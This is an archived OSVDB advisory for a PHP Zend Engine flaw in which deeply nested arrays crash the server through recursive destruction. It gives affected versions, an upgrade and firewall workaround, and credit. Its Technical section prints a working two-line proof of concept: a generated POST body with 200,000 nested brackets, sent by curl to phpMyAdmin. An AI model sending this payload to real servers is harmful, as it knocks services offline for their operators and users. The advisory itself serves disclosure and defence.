32769 : PHP Zend Engine Variable Destruction Deep Recursion Overflow
Printer | http://osvdb.org/32769 | Email This | Edit Vulnerability

Views This Week

3

Views All Time

296

Info

Last Modified

about 1 year ago

Percent Complete

100%

Disclosure

Mar 01, 2007

Discovery

Unknown

Dates

Exploit

Mar 01, 2007

Solution

Unknown

Keywords

Description

Zend Engine I in PHP 4.4.6 and lower, and Zend Engine II in PHP versions 5.2.1 and lower, contain flaws that may allow a remote denial of service. The issue is due to the application not enforcing sanity checks for the depth of nested arrays which allows a remote user to create very deeply nested array structures. Since the destruction of PHP arrays is done in a recursive way, the attempted destruction of the user's deeply nested array will result in a crash when the stack limit is exhausted, leading to a loss of availability for the service.

Classification

Location: Remote/Network Access Required
Attack Type: Input Manipulation
Impact: Loss of Availability
Exploit: Exploit Available
Disclosure: OSVDB Verified

Technical

$ php -r 'echo "a".str_repeat("[]",200000)."=1&a=0";' > postdata
$ curl http://127.0.0.1/phpmyadmin/ -d @postdata
curl: (52) Empty reply from server

Solution

Upgrade to version 4.4.8, 5.2.2 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround: Configure your web application firewall to drop high amounts of '[' in variable names.

Products

The PHP Group
Watch-list
PHP
Watch-list
4.0 Beta 1
4.0 Beta 2
4.0 Beta 3
4.0 Beta 4
4.0.x
4.1.x
4.2.x
4.4.0
4.4.2
4.4.1
4.3.x
5.0.x
4.4.3
5.2.0
5.2.1
4.4.5
4.4.6
4.4.4
5.1.x
5.0 Release Candidate 3
5.0 Release Candidate 2
5.0 Release Candidate 1
5.0 Beta 4
5.0 Beta 3
5.0 Beta 2
5.0 Beta 1
4.0, Release Candidate 2
4.0, Release Candidate 1

References

Tools & Filters

Nessus

25046 25067 25068 25101 25113 25159 25317 25340 27391 27392 28372 29213 29552

Credit

  • Stefan Esser - sesserBrand New Doo Doohardened-php.net - www.hardened-php.net

Blogs

None found at this time

Comments

No Comments.

DONATE NOW!

User Status

Quick Searches

Advertisements

The database information may change without any notice. Use of the information constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the copyright holder or distributor (OSVDB or OSF) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

© Copyright 2008 Open Source Vulnerability Database (OSVDB), All Rights Reserved.
Privacy Statement - Terms of Use